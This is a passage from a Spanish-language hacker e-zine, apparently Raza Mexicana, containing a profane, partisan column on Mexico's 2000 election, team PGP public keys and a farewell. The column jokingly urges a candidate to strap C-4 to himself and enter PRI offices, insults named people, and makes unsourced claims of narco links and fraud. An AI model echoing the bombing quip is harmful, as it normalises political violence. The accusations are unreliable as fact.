al PRI y vieron desbaratadas sus ilusiones con el error informatico mas
garrafal de la historia (Sin contar el Y2K, Windows y echarle cafe encima a
una computadora encendida) un fraude maquinado por Manuel Bartlett que le
regalo la presidencia al insigne prohombre Carlos Salinas, espero que Salinas
le haya dado una mansion en Punta Diamante, un chalet en Irlanda o de perdida un 5% de la venta de Telmex, porque hacer una cochinada de esa magnitud no se le agradece con un juego Meisterstrck o una botella de Don Perig~on. Y en 94 que paso? Aparte del mundial, Cuahutemoc vio sus dividendos electorales desplomarse, todos estaban desilusionadoscon el fraude antes mencionado y ni el intento de ayudarlo hicieron, ademas
a Zedillo le regalaron la presidencia por lastima, digo, alguien que como
Secretario de Educacion compara a Porfirio Diaz con Benito Juarez y lo
imprime en los libros gratuitos para los chiquitines de este pais, pues
merece un saludo de la porra del Atlante. Y el dia de hoy? Cuahutemoc se
aferra cual Priista a su hueso a la esperanza que alguien le de su voto
<Nota para los peque~uelos que estan chutandose este pasquin: Cardenas salio
del PRI junto con Porfirio Mu~oz Ledo para fundar el PRD, atacando al
sistema simbioticamente>, y no es que no confiemos en el o que no le creamos,
a lo largo de 12 a~os nos ha propuesto lo mismo, pero mas parece venganza
que cambio, ademas en la capital solo pudo hacer cambios superficiales y
darle puestos a grillos bateados del PRI o meter a gente incapaz y mediocre a
la regencia para llenar el hueco, como De Bernardi, Samuel del Villar y otras
dignisimas reses exiliadas de la yunta. Y la pregunta de los 64 millones es:
Porque el PRD no dejo atras sus prejuicios si ya han logrado hacer alianzas
en el norte del pais, porque no la hicieron ahora? R= Porque el PRD aun no
puede quitarse la estirpe de partido de priistas ardidos, radicales de
extrema izquierda y reaccionarios, ademas Cardenas se echo al lomo la loza
de que al ganar la presidencia con su Alianza con el PT, PAS y los otros
partiditos de 3 pesos les daria secretarias de estado a los dirigentes de
cada uno de esos partidos, por obvias razones no podia declinar, Cardenas se
echo la soga al cuello por andar de mamon.

Cuahutemoc, solo un mensaje del Tio Fatal; Cuando te dijeron "La tercera es
la vencida" no quisieron decir "Ahora si ganas" te dijeron:
"Ya parale cabron, estas acabado pinche terco". Pero, si aun quieres
derrotar al PRI para el 2006, enrollate 25 kilogramos de C-4 al cuerpo e
infiltrate a las oficinas del PRI con la excusa de regresarles una lana que
te clavaste como Gobernador del PRI en Michoacan, lo demas lo dejo a tu
imaginacion...

- El PRI aun no entiende, cambiar su simbolito de partido y denominarse
"Nuevo PRI" no va a hacer que millones de mexicanos modifiquemos nuestra
ideologia politica, sigue siendo la misma mara~a de cerdos septuagenarios
con sus mismas ma~as de hace 50 a~os, si hubieran querido hacer un Nuevo PRI
meteria gente sin malear con ideas nuevas como Campa Cifrian en la capital y
no al infame cambujo de Herzog. Y ahora en su turno al bat presidencial con
sus 62 a~os y cuarenta y tantos de priista; Francisco Labastida... ay Labas,
te toco lo peor. Vamos a vivir 2 minutos en su Magicuento y olvidarnos que
tiene vinculos con el narco, que como gobernador de Sinaloa huyo despavorido
por temor a su vida (Unos narcos querian matarlo porque les dio unos
ladrillos de coca con kilos de 900 gramos) dejando a sus congeneres en un
clima de incertidumbre y miedo, que como Secretario de Agricultura, bueno,
pues solo basta con dar un rol por nuestro campo y veremos preciosos green's
de Golf, bellas zonas residenciales y un vasto panorama de muerte, desolacion
y campos sin vida, y para rematar, como Secretario de Gobernacion prefirio
pasarse por la ingle el conflicto de la UNAM por temor a manchar su futura
candidatura presidencial. Antes de tocar el tema recordemos que para la
campa~a presidencial de Zedillo se gasto aproximadamente 687 millones de
dolares, eso sin contar lo que llevaba Colosio antes de que lo mataran, para
la campa~a Priista de los 4 fantasticos se destino cerca de 150 millones de
dolares, obviamente sin contar lo que le metio Labas y Bob Madrazo por debajo
del agua. Sale, gana Labas las primarias y ahora vamos a juntar los deditos
de las manos de todos los mexicanos para contar cada uno de los dolares que
se gasto en la campa~a presidencial del PRI, si se~ores, al momento se ha
gastado mas de 900 millones de dolares para la campa~a de desprestigio y
cochinadas proselitistas mas fastuosa del pais. Eso sin contar lo que le
metio cada gobernador Priista, la iniciativa privada, el narco, aportaciones
del extranjero, candidatos a senadores y desfalcos al erario publico. Labas
trato de hacer un nuevo PRI a costa de meter a Esteban Moctezuma como
coordinador de campa~a, grave error, en el 1er debate claramente se vio como
Labas perdio contra Fox (Aunque Roberto Albores compro con dinero del erario
publico a la prensa del dia siguiente para que declararan ganador a Labas),
los priistas radicales le dieron una manita metiendo a Bartlett, Roque y a
la vieja maquinaria para poder confabular otro mega fraude, los Senadores
Priistas dedicaron todo el dinero de sus respectivas campa~as a desprestigiar
a Fox de cualquier manera (Solo falto que presentaran pruebas de que cuando
Fox jugaba canicas usaba una de metal para hacerle chirias-pelas a todos),
los medios escritos y electronicos, de un par de meses a la fecha, se han
dedicado a engarzar en primera plana y en noticias estelares a Labas como si
fuera Benito Juarez y en contraportada o en la nota roja a Fox como un pillo
perverso y ruin (Citense periodicos como El Noverdades, La Prensa, El
Universal, UnoMasUno, Sol de Mexico, Ovaciones y obviamente Televisa).

Un mensaje del Tio Fatal y miles de campesinos: No nos olvidamos que hiciste
posible levantar el embargo del aguacate, te recordamos que el sector
agricola no es solo Sinaloa y que en Mexico no solo se dan aguacates, gracias
por abandonar cientos de miles de hectareas de campo fertil y ponerle en la
madre a la unica y verdaderamente orgullosa Raza Mexicana pura que aun queda
en el pais, la unica que se rompe la espalda trabajando para ganarse
honestamente 500 pesos por tonelada de grano, la misma que riega el cesped
de los Country Club's con los que mandaste tapar las tierras de tu estado,
la misma que siembra la droga en los sembradios de tus ranchos y la misma
que en su desesperacion sigue engrosando las filas de indocumentados que
arriesgan sus vidas buscando algo que aqui, por derecho, se les niega.
Trabajo y una vida menos jodida. Gracias pendejo, chinga tu madre.

- Lo que suceda el dia de hoy nos lo vamos a comer durante 6 a~os, he aqui
los 3 posibles finales de este dia:

1.- Gana Labastida, la ahora mayoria opositora tiene mas del 60% de la
preferencia electoral y agachamos la cabeza resignados porque valio madres
el pais... otra vez, la recua de Priistas tocan blandito 6 a~os mas con la
consigna que si no se les ocurre un metodo efectivo de lavado cerebral, los
imbeciles mexicanos seguiremos oponiendonos a que el PRI nos ponga la
bayoneta en la yugular a cada rato (Ay estos mexicanos, cuando aprenderan...)

2.- Gana Fox, jubilo nacional? No es tan facil, si antes era facil para el
PRD-PRI atacar a Fox ahora lo va a ser mas, los ojos de la nacion y del
mundo entero (Y no, no me la estoy jalando) van a recaer en Fox; Fox va a
tener que nadar contra la corriente por 3 a~os hasta que se despejen las
alima~as, tepocatas, viboras prietas y demas sabandijas en su camino (Un
saludo a Yield).

3.- Gana Cardenas, la Seleccion Mexicana de Futbol apabulla a Brasil por
feroz putiza 8-0 con goles de la Tota Carbajal, Estados Unidos nos regresa
Texas, California y Florida a cambio de la receta para hacer nieve de
guanabana y Fatal gana el premio Pulitzer por fletarse un cuento
post-electoral en una revista underground. (Creo que tambien creceria
50 cms. de estatura, le saldria cabello rubio fulgurante, musculatura
titanica y misteriosamente su pitote de 12 pulgadas no sufriria cambio
alguno...)

4.- Si esperaban una pendejada como los 5 puntos de Adalberto Ramones, pues
se la pelan, ese pinche zotaco priista me caga la madre.

EPILOGO
- La tendencia de que nos va a cargar la chingada es inminente, el PRI va a
hacer fraude, Cardenas va a seguir de necio testarudo, Fox tal vez haga una
revolucion la cual yo apoyaria (Para informes de rebeldes, neo-insurgentes,
guerrilleros y mercenarios favor de comunicarse con Fatal), Mexico si esta
preparado para el cambio, pero paulatino, a lo largo de un par de decadas a
la fecha se ha visto que si queremos el cambio. Porque Mexico opto votar por
Fox? En el '88 el cambio iba a darse de derecha neo-liberal a izquierda
populista, en '94 se reflejo un balance de oposicion y en el 2000 se vio que
el cambio debe ser moderado, Fox representa una alianza de centro-izquierda,
la propuesta es factible, oposicion moderada, asi de simple.

En cifras a grosso modo Mexico esta asi: 45 millones de hermanos mexicanos
estan punto mas que jodidos, 50 millones representan la clase trabajadora,
media, media-alta y menos de 1 millon de mexicanos se pudren en dinero a
costa de las facilidades que ha tendido el PRI para la proliferacion de
corrupcion, narcotrafico secuestros, fraudes, asesinatos, desfalcos y demas
cochinadas. Si les gusta esta situacion y estan dentro del selecto grupo de
menos de 1 millon de mexicanos con mas de 1 millon de dolares en sus cuentas
bancarias, no se sientan mal por ser minoria; Felicidades, destruyeron a uno
de los mejores paises del mundo (Seria muy somero decir que es el Mejor del
mundo, asi lo considero yo, pero viendolo desde afuera, estamos de la
chingada)... maldita sea por Cristo.

- Me despido desde una casilla, cuidando de que el voto de mi pueblo no lo
compren por un tamal y un vaso con atolito de vainilla.

P.D. Enrique Krauze; Chinga tu madre, magro y falaz historiador cobarde.

Fatal
Raza-Mexicana
fatal@raza-mexicana.org


=============================================================================
--------------------------------------------------------------------------16-
-----( Llaves PGP )----------------------------------------------------RM-10]
-----[ RMHT ]-------------------------------------[raza-mexicana@bigfoot.com]

===[
===[  Raza Mexicana Team - <raza-mexicana@bigfoot.com>
===[

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 6.5.1 for non-commercial use <http://www.pgp.com>

mQENAzlevUYAAAEIAMwSqnaw11VvV2ZLAbyJn/9iXsQ5O4FAogNKkvp1MlPPsDPO
CmTa7emYinPN6N+hhIczVs0Nj11DGzML8A8ur7SYxY6NbhJ3MX2PhcJAqkygJcJk
VUHQFZVFQG8IVEbvD9XyrFQzF1ylVeEar21/+buNG3SwKZJc31RaJHg5owpziJOq
45praOSsGW5Qm2JtTU2/u4Jd6wWBLOYhCtKKIPlb0Bt0BisAEH7M5Cm/36kJQVVW
WUaEslPREeMdSmZql1Ap54edwzmgpoVDwzl4ck07SMQ0dBbyJSn1qdcilpqWAw8v
XrJFx1N+Xypue0foKR74ICQgWkGUaotI7zAbcqEABRG0LlJhemEgTWV4aWNhbmEg
VGVhbSA8cmF6YS1tZXhpY2FuYUBiaWdmb290LmNvbT6JARUDBRA5Xr1GaotI7zAb
cqEBAeKCB/0XyyMOy5gS0qIkiVMkxQn7+dvP/1eWmzT6ACNL1tDbHjS9vAIU4siS
0ZCzHcGvK2DMal6myEAridAsPvduQnApHZYLeUIgz9GOgSeCvTTm3Ge1os0Jc/Rz
vN4KbNpYR4MjWnMu7Qj+6v3FiuhBSqC/l+WWJrsJg2D/o6nCN1Unc9EmvvhdiyTi
ISxR06sVo7coR9eElJJZl2W2wWynsy0NoAeLLtpG8pVgs5MsKsA9PWFwcfMmQWng
mEI+qsqI2x45iUX0BFy533uiXsognnM3r1d3LEgu6PyzkomRvyzQhIRCWvyZ56eG
yYOA5XOG3t5V1v+TIpPnPPFCwesfc3tY
=lHjM
-----END PGP PUBLIC KEY BLOCK-----


===[
===[  Yo_Soy - <yo_soy@raza-mexicana.org>
===[

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 6.5.1 for non-commercial use <http://www.pgp.com>

mQGiBDXd390RBAD2O5PdPfbB/Na6xe8WZQhqgbI9ZN8mo5ra8AphgGJm9nzJmDNr
K4+wGrIdeI1I7bEv+5L2t7oz2Lye+U2wGGFfPvdAit7Vh50eim0OTQWayT/EuPLA
bYUJz0AtrQ85b+KYmF7LEh5PbRSOaxIqCWq1sDloEnxYEqCbXBlTIe/UyQCg/8Yg
cwFZkonW1UXdQ9Y1THdnaL8EANMLBs371kkOOBXElsoGFtdD8VvCEi7Dd1zXbWsp
9dGBkTPp1OLVR9IdktjbxEizPL2CDxR+O5Wp481i+9Rv+yrl63LX505pfjHlFKmh
fWg7eQGMbu6iQuDLpds+baN3EtxFF6xy9pDAeHXmHw69wZMD1wnCfdO4pfDEB1IX
Kgh9A/9h9NLl2McJktmt+l8MzD4mMFHmTH29nvUvHiw03Ledpf3Jx3DLX7sdAZny
dLgdCvoZPbT575gpNZ3HYpLnqvTOplHqzLN4skQUTWIl2YSHqXJLYuT0CXVHHdd5
2eSc7RzPUeFx4F9PkOi7DEtW2sFoji3dGNjcFHie0ktzOttQ6bQZWW9fU295IDx2
YXJmQGJpZ2Zvb3QuY29tPokASwQQEQIACwUCNd3f3QQLAwIBAAoJENESGWgQQAWY
Ef8AoNKfkQ0TUZ2i6M9M+Ao79Mst5hkcAJ9ojAytqkF9HW/87ucLwUeXbhP70LkC
DQQ13d/fEAgA9kJXtwh/CBdyorrWqULzBej5UxE5T7bxbrlLOCDaAadWoxTpj0BV
89AHxstDqZSt90xkhkn4DIO9ZekX1KHTUPj1WV/cdlJPPT2N286Z4VeSWc39uK50
T8X8dryDxUcwYc58yWb/Ffm7/ZFexwGq01uejaClcjrUGvC/RgBYK+X0iP1YTknb
zSC0neSRBzZrM2w4DUUdD3yIsxx8Wy2O9vPJI8BD8KVbGI2Ou1WMuF040zT9fBdX
Q6MdGGzeMyEstSr/POGxKUAYEY18hKcKctaGxAMZyAcpesqVDNmWn6vQClCbAkbT
CD1mpF1Bn5x8vYlLIhkmuquiXsNV6TILOwACAggAu2giagpJiqf2Yjk/wb8aAd3a
b0UV6mZ2T6pzXV7O4xwko9IWNaCYDCs5xJloH0lr8mfgTujO1EnyydKPOG3jjFFz
4Do2vZ1VMnzLQ25tZMYHOn+8qum25onXgKbWU4wLfZWoMNy88NUI+ubjRmywLuGB
/+jptPC6h33teJYqoqSoX7AXH/HtnO6pTjdXZQvCkNpAtddjCc/7w7ydjgoSmz9f
wvfPs/fXBfJ0/hZFsEELZJicE5PNQ8PKdmQL56ttiuYylk4C2IHjF9g/32AMo/TH
S2Hd+buyYjZE36MEpIXEuWf/5wxZSjl0TmRL37ffd1Uqey0WraZI3YgCpZttSokA
RgQYEQIABgUCNd3f4AAKCRDREhloEEAFmMQgAJ0SvPcAjrZ6c1Yp08S1IrZcWudQ
VQCg9jwTxlwRdQAWIFHqwZ3y0uB7BxA=
=z8re
-----END PGP PUBLIC KEY BLOCK-----

===[
===[  alt3kx_h3z - <alt3kx_h3z@raza-mexicana.org>
===[


-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.5.3i for non-commercial use <http://www.pgpi.com>

mQGiBDagLQIRBAD19YZqKJQABu0Ot7pO4wKDZkNhRRxPYLgV5KAyY3wMzDkKDBlX
Fk3Mj5swX4D6aqK8ABp0gpNCrxXXKNXvDtVgMWiik716ll/3q9TgSz4Pc9a/09Ab
74Pl1WfPUOOrpIT7e38Rx+MhC8+pe6mFod2lyudBytc8ChB2qgmH8SyYBwCg/2KS
cyD+7rkaSB8USrDxIlwWFI0EAOyAPRgpvnlHGNG1QMVqQybw6d1zEnVJoTs6MPmD
kwRDHO3eSWm1Iu5BNPu/cZQHW8tIEdFjQbJ9gF7hid43CjJXWFeKGGda/s2PQroG
Ba1b5LP6cD57mtQGtnpMdUiRB8uIIKy8G+3xh7pzCqJMmGHlBV2xtnlYC3UWlrjc
ejUnBADoXtF3ZBzroIUK0nikgcVGItJoiroCDOsUc0xLLA2RWlmsalbcIKtsPk3f
Yf1zFGMlwusTAasvPZqhqS32h0wF7QjDd6pPw7P7rq0/2QVRQGGX+eqIx843jaz1
4+MWNoG79+rCjkXhEM60NlYzDhvGn+qa8wPj1P1jKFq8o05A0LQvQGx0ZWt4X0gz
eiA8YWx0ZWt4X2hlekBtYWlsYm94LmNvbXVubmV0LmNvbS5teD6JAEsEEBECAAsF
AjagLQIECwMCAQAKCRBDFPYDKdDzf9kLAKC0vZjlLn5WaGDWUBKz8NayPBmecgCf
WLqmpjGozJIgGjkS0tGzhuv6iQK5Ag0ENqAtAhAIAPZCV7cIfwgXcqK61qlC8wXo
+VMROU+28W65Szgg2gGnVqMU6Y9AVfPQB8bLQ6mUrfdMZIZJ+AyDvWXpF9Sh01D4
9Vlf3HZSTz09jdvOmeFXklnN/biudE/F/Ha8g8VHMGHOfMlm/xX5u/2RXscBqtNb
no2gpXI61Brwv0YAWCvl9Ij9WE5J280gtJ3kkQc2azNsOA1FHQ98iLMcfFstjvbz
ySPAQ/ClWxiNjrtVjLhdONM0/XwXV0OjHRhs3jMhLLUq/zzhsSlAGBGNfISnCnLW
hsQDGcgHKXrKlQzZlp+r0ApQmwJG0wg9ZqRdQZ+cfL2JSyIZJrqrol7DVekyCzsA
AgIH/3DhFJvU7oj2awM3KqvQvfWslHWR7GKXi/5jH7N0gL13x22ikvuiPyhyKpc5
JE0SjbKDfLRvCaUUq6FxVIFwpunqqPA5+0EDolFEeHZ0XpmHZR7+V/x3jQaG5pus
HXl43kc4FCeyA86qkqPqbcJuKLf2n2QVusfSn2xpBlB1761zKyZcZlZebjZWx4op
A5Td6Lu6LBcYBarAEvegkqXEckDCsPfMWI3237rjzMOCW1sIk+yWke25/8KXWmB/
pvtgWV2wdzzYMGUbe4gKB+81FMfoXDN/GwsSDJpkNWjcXivXnLZv2Zvqav6PmQtL
hIcUpDFw4cX5DvYWI8OMxktSBEmJAEYEGBECAAYFAjagLQIACgkQQxT2AynQ839e
eACgq/zb4GgYM/32SvFNOFob3Orl0J4AoIJ8SBshPlvxM9lxPv+tKM9vCDOm
=DptJ
-----END PGP PUBLIC KEY BLOCK-----


===[
===[  Nahual - <nahual@raza-mexicana.org>
===[

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.5.3i for non-commercial use <http://www.pgpi.com>

mQGiBDZ8/NERBADXDKDY6jvtM6WPurewS+nhAMzkqmEGABKz+HsC28kJT776bstg
GvrLNqk61WX4+0J9x3OAOyJoYTVrWhr/cDsHdq3f87ws5mLT14KM7oioyciyCaNN
F48fsgaJCusPYJpOb6Mrwv5JLxhDCNyLNlN0dwd+HRP2eMRDXzEbbGOS2QCg/3MQ
IUjdJFspW/hElRH0FZMo73ED/3mDpPK8MSElR5GNPIEh5L9mJgF9NPLlo5/THva6
N9Su5XjWde5b2WC3j41jcMhrZnmS+kULvY7KtzmNalNZOSAQx9AAgr6dTJJwIGYO
expj6lXZrCF8oArQXtcwjz04GresJQsSpmqsC/Bv9LyFre7jXm68QwUhNbtDMxcl
jL+lA/47rd9+nQvk0gDS+VxK31VyOdHTD3cQAi2izkVniIZaXOub6BR9zHEV1Rm5
dquOWqgWB2RMqu8cELumhuGmdtnzf9xlezC0KUR//GiVGWRFAY6EkGfk5tFPOLf7
arF6UddM7qPLxL9GFMRvRHYm+1gWJxIht93wNC+RR5vChpLKDrQmVGVjdWh0bGkg
TmFodWFsIDxteF90ZWFtQHhvb21tYWlsLmNvbT6JAEsEEBECAAsFAjZ8/NEECwMC
AQAKCRBOs4X9pH+5KeyHAJ0arWeBwYP/++4cY63ivqbufdf9hwCgy5+IuN9KBIUS
IYfn4xWv1Fa0HWm5Ag0ENnz80RAIAPZCV7cIfwgXcqK61qlC8wXo+VMROU+28W65
Szgg2gGnVqMU6Y9AVfPQB8bLQ6mUrfdMZIZJ+AyDvWXpF9Sh01D49Vlf3HZSTz09
jdvOmeFXklnN/biudE/F/Ha8g8VHMGHOfMlm/xX5u/2RXscBqtNbno2gpXI61Brw
v0YAWCvl9Ij9WE5J280gtJ3kkQc2azNsOA1FHQ98iLMcfFstjvbzySPAQ/ClWxiN
jrtVjLhdONM0/XwXV0OjHRhs3jMhLLUq/zzhsSlAGBGNfISnCnLWhsQDGcgHKXrK
lQzZlp+r0ApQmwJG0wg9ZqRdQZ+cfL2JSyIZJrqrol7DVekyCzsAAgIIAPVubEft
KgLg096Yz33s9TMEJmoYuSgevq3IbbFUGow5q1Z3kGYAyNKqRVVIXkPzAMYD+123
XS2TCb6s7HcqMGrpOJ8Fe216txfVpZn+zNGbKU6dkHOEVwlqTCWVnOgwGoOvpn1z
ajQoW6Ypt8q3RjbRj/7a0HovimggeZ+1eKoBQsh6R3aHWWTaYXSvUXD20NBJ3C0Z
/GYXlMZQloPKaRfkWF3IkEobeceRLRtRRPxCnMAvN9tb/r3kiMojHp1+41DfosnO
YOKjjXYj3CnQqFvVlbgB8U5B8R/viGTelT4OuoTY6W/ZwZdZE1asOxURNgYZ0rCI
inKVXZPYmChYfjCJAEYEGBECAAYFAjZ8/NEACgkQTrOF/aR/uSkDEgCgzbyKf980
S4+0/Z7ucX1vAVQ6DmEAn3BaT3N7L+aQ01BXos0LRhTq6zZ7
=gVuI
-----END PGP PUBLIC KEY BLOCK-----


===[
===[ DeadSector - <deadsector@raza-mexicana.org>
===[ 

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.5.3i for non-commercial use <http://www.pgpi.com>

mQGiBDY0AlsRBAD6QoYgTEN2Xxc/58wbc8ryUglpoVl6GIRAcg1LzpQo/UR7ZHFV
ogCaGy0JUcH5A+O8waRxJHzlnzIOvqs7Iazkj1aULH6u7Xxl4+kgUx9MzN7Yxll+
dkp8u7BsbY1IR+BjTlUa22m8iiQLI5pk1ol2Hk7rHKn1mct4CL8Nmr4PZwCg/1YI
Sw6eJFqIPK9eo6GncnrLXTkD/1312O/67pw8H2WAeQ6BqAnDJ/P7v+o6xCfnkHT1
o/g19Xrhe+tyj0bnArHXbw/O3vXenI7QOCG6VE70iuM479qYUvXV6jRnlina9uhW
c5ZFNcN9g8FgnJ+S+sFg4qOSyrSEcQPnMDTrEwNUqBoyltRwVKVZyh7/C5IWvsWo
sdAXA/9+talIEcDqNA4gCrwpwKjiLGpSZhOtZP9helJ6MqScZqF8AH19P8lBfFan
LwesZuVFjr+GKK9nUyOaZWP1ReXi9kru0y1ufvou+GbuWdVHAKb3wEIqa4L/i2As
lbogEr1EPPVO3bWRqKI0G9AxRLeISdrRi6Can1FPYWqFDCgOD7QkRGVhZCBTZWN0
b3IgPGRlYWRzZWN0b3JAbWl4bWFpbC5jb20+iQBLBBARAgALBQI2NAJbBAsDAgEA
CgkQMWEc93A6PrJr6gCfWoUpPAEI/+7/URNjXY8mbG2/2kYAoM5qtQM8YnDDKABE
Yp4oHXKPMf3muQINBDY0AlsQCAD2Qle3CH8IF3KiutapQvMF6PlTETlPtvFuuUs4
INoBp1ajFOmPQFXz0AfGy0OplK33TGSGSfgMg71l6RfUodNQ+PVZX9x2Uk89PY3b
zpnhV5JZzf24rnRPxfx2vIPFRzBhznzJZv8V+bv9kV7HAarTW56NoKVyOtQa8L9G
AFgr5fSI/VhOSdvNILSd5JEHNmszbDgNRR0PfIizHHxbLY7288kjwEPwpVsYjY67
VYy4XTjTNP18F1dDox0YbN4zISy1Kv884bEpQBgRjXyEpwpy1obEAxnIByl6ypUM
2Zafq9AKUJsCRtMIPWakXUGfnHy9iUsiGSa6q6Jew1XpMgs7AAICCACXYqIY1NqU
YxZUc6FH18pGZdtqHQjF5cMzIkD6wlBWjWZCZz5gcf9/kUQxZl84+hme8Y2f6zQr
myQPsjqJ90GANmnaymbrtIqE/2RUOrL63FNsVgsvZD+lxMFhvf57SZ0H7qBYC2oi
6HwoE+oJ8TNqa9037qFmhlsg2obziU4cA35UzSPLMR41Zd5z7yX4TpiwL3rHBUgb
GSJxHbthyvjG5eIimy1LIG28m0uUeT/V5wdLtA19UkII5AMS7x951BLOLpy+WpUr
leWDpYdeMEmk+j32mDzPZ4f9CHSAGsSw4Xs7WfaPU6sIQ7Kn/XH9jq9oOQsJIC9e
bMUzh2RRVv8AiQBGBBgRAgAGBQI2NAJbAAoJEDFhHPdwOj6yp2UAn1EyvqnJ6/Pl
PgWmGg/O/HoArBkWAKCwBFgCeBXytEX6BsuN5AG5nwWboA==
=YQF7
-----END PGP PUBLIC KEY BLOCK-----



=============================================================================
--------------------------------------------------------------------------17-
-----( Despedida )-----------------------------------------------------RM-10]
-----[ RMHT ]-------------------------------------[raza-mexicana@bigfoot.com]


   "Ni el PRD, ni el PAN, el PRI es el que te va a MADREAR"
                                     --- Juan Gabriel


   "El Nuevo PRI es tan incluyente, que hasta cabe el viejo PRI entero"
                                     --- Fco. Labastida  


                                                           VICENTE FOX 100%
    
---------------------------------------------------------------------------
  Raza Mexicana Team - Derechos Reservados (C) 1998, 1999, 2000 - MEXICO
--------[ www.raza-mexicana.org ]---[ raza-mexicana@bigfoot.com ]----------
---------------------------------------------------------------------------
